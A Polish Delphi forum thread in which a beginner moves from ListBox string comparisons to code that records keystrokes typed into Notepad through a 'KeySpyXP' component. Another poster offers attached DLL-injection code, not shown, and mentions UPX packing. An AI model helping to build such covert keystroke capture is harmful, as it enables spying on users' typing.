problem z typami zmiennych (instrukacja if) delphi

problem z typami zmiennych (instrukacja if) delphi
M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

niedawno zaczalem pisanie w delphi.
mam taki fragment kodu
if (Listbox1.Items=x) then ShowMessage('znaleziono') else ('nie znaleziono');
x jest stringiem,
i wyskakuje problem z typami zmiennych:
"Incompatybile types: 'String' and 'Tstrings'
jak powinien wygladac ten kod aby dzialal poprawnie?

pelsta
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 819
0
Kopiuj
  if Listbox1.Items[indeks_itema]=x then ...
M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

teraz jest taki blad:
statement expected, but expression of type 'String' found.
x ma przypisany ciag znakow

flowCRANE
  • Rejestracja: dni
  • Ostatnio: dni
  • Lokalizacja: Tuchów
  • Postów: 12269
0

Wklej cały kod, bo z tego nic nie wiadomo i nie można jasno określić problemu; Po drugie posłuż się guglami i znajdź to, co oznacza ww error; Z resztą w pomocy delphi o tym możesz na pewno przeczytać;

Jeżeli typy by się zgadzały to nie ma mowy o błędzie; Musi być gdzieś indziej, ale podałeś tylko linię warunku;

Zapewne podczas debugowania wykrył byś błąd. skorzystaj więc z niego;

M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

procedure TForm1.Button1Click(Sender: TObject);

function EnumWindowsProc(WHandle: HWND; LParM: LParam): Boolean;StdCall;Export;
var Title,ClassName:array[0..128] of char;
sTitle,sClass,Linia:STRING ;
x:string;
begin
x:=('notepad');
//Listbox1.clear;
Result:=True;
GetWindowText(wHandle, Title,128);
GetClassName(wHandle, ClassName,128);
sTitle:=Title;
sClass:=ClassName;
if IsWindowVisible(wHandle) then
begin
Linia:=sTitle+' '+sClass+' '+IntToHex(wHandle,4);
Form1.Listbox1.Items.Add(Linia);

end;

if Listbox1.Items[1]=x then ShowMessage('znaleziono') else ('nie znaleziono');
end;

begin
EnumWindows(@EnumWindowsProc,0);
end;

M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

zamienilem if'a na dodatkowy przycisk:

procedure TForm1.Button2Click(Sender: TObject);
var
S : String;
I:Integer;
begin
S:=Edit1.Text;

For I:=0 to ListBox1.Items.Count-1 do
If Pos(S, ListBox1.Items[i])>0 then
begin
label1.Caption:='slowo istnieje' ;
ListBox2.Items.Add(ListBox1.Items[i])
end
else
label1.Caption:='slowo nie istnieje';
end;

i tu wystepuje problem ktorego nie rozumiem, bo do Edit1 wpisuje nazwe jakiegos okna i program wyswietla jego nazwe w Listbox2 ale w label1 zamist pojawic sie 'slowo istnieje' pojawia sie 'slowo nie istnieje'

pelsta
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 819
0

W label1 będzie napis wynikający z tego czy ostatni item z listbox1 zawiera s

M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

a no tak, nie przemyslalem tego ;)
a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??

  • Rejestracja: dni
  • Ostatnio: dni
0

a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??

Instrukcją break lub exit. Pewnie jest jeszcze pare sposobów ale te najprostsze.

M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

ale break przerwie dzialanie funkcji i nie sprawdzi dalej czy podany wyraz sie powtarza

chce zeby znajdywal wszystkie okna z Listbox1 o podanej nazwie, a gdy tylko jakas zmienial Label1 na 'znaleziono', ale chce wyswietlac wszystkie

pelsta
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 819
0
Kopiuj
procedure TForm1.Button2Click(Sender: TObject);
var
  S : String;
  I:Integer;
begin
  S:=Edit1.Text;
  label1.Caption:='slowo nie istnieje';//wstępnie
  For I:=0 to ListBox1.Items.Count-1 do
    If Pos(S, ListBox1.Items[i])>0 then
    begin
      label1.Caption:='slowo istnieje';
      ListBox2.Items.Add(ListBox1.Items[i]);
    end;
end;
M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

ja wlasnie kombinowalem cos w tym kierunku, zrobilem troche po swojemu ale to bedzie lepsze. dzieki za pomoc

M1
  • Rejestracja: dni
  • Ostatnio: dni
  • Postów: 8
0

ten kod nie zawsze dziala. powinien on pobierac wpisywane klawisze w momencie uruchomienia notatnika, czasem to dziala jest tak jak nalezy, w momencie zamknietego notatnika nie robi nic, a podczas gdy jest otwarty zapisuje je, jednakze w wiekszosci przypadkow po kompilacji program ten nie znajduje takiego okna jak notatnik i pobiera klawisze bez wzgeldu na jego obecnosc. co powinienem poprawic?? i co dodac jezeli chcialbym uwzglednic wewnetzne okno w ktrym sie wpisuje do Notatnika?

Kopiuj
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
var
  H: HWND;
function FindWindow(lpClassName, lpWindowName: PChar): HWND; stdcall;
var
  NextHandle: Hwnd;
  NextTitle: array[0..260] of char;
begin
  NextHandle := GetWindow(Application.Handle, GW_HWNDFIRST);
  while NextHandle > 0 do
  begin
    GetWindowText(NextHandle, NextTitle, 255);
    if Pos(UpperCase(lpClassName), UpperCase(StrPas(NextTitle))) <> 0 then
    begin
      Result := NextHandle;
      Exit;
    end
    else
      NextHandle := GetWindow(NextHandle, GW_HWNDNEXT);
  end;
  Result := 0;
end;
begin
  h := FindWindow('Notatnik',nil);
  if h <> 0 then
  begin
    if key[1]='{' then
    memo1.lines.add(key) else
    memo1.Text:=memo1.text+key
  end
end;
  • Rejestracja: dni
  • Ostatnio: dni
0

co powinienem poprawic

Powinieneś użyć DEBUGGERA żeby znaleźć powód dla którego nie działa. Poszukaj w google z czym to sie je.

(Z pozdrowieniami dla Madmike)

olesio
  • Rejestracja: dni
  • Ostatnio: dni
  • Lokalizacja: Szczecin
  • Postów: 4191
0

Przeanalizuj sobie dołączony do mojego posta kod. Wprawdzie może się wydawać Tobie, że to nieco zaawansowane, ale dzięki injekcji dllki mogę podmienić funkcję obsługi okna notatnika, a w kodzie a_spy.dpr zobaczysz jak prawidłowo ustalam okno edycyjne Notatnika. Całośc pisana w WinAPI aby było zgrabniej i zajmowało mniej. Całośc kompilowana w Delphi 7 z użyciem innych, zoptymalizowanych modułów do pobrania z: http://kolmck.net/sys/SysDcu7.zip dzięki czemu i pomimo spakowania całości exeka UPX'em, plik wynikowy jest jeszcze mniejszy. W razie pytań pisz, ale uważam że wszystko powinno być łatwe do ogarnięcia, bo starałem się pisać - w miarę moich możłiwości - przejrzyśty kod

Zarejestruj się i dołącz do największej społeczności programistów w Polsce.

Otrzymaj wsparcie, dziel się wiedzą i rozwijaj swoje umiejętności z najlepszymi.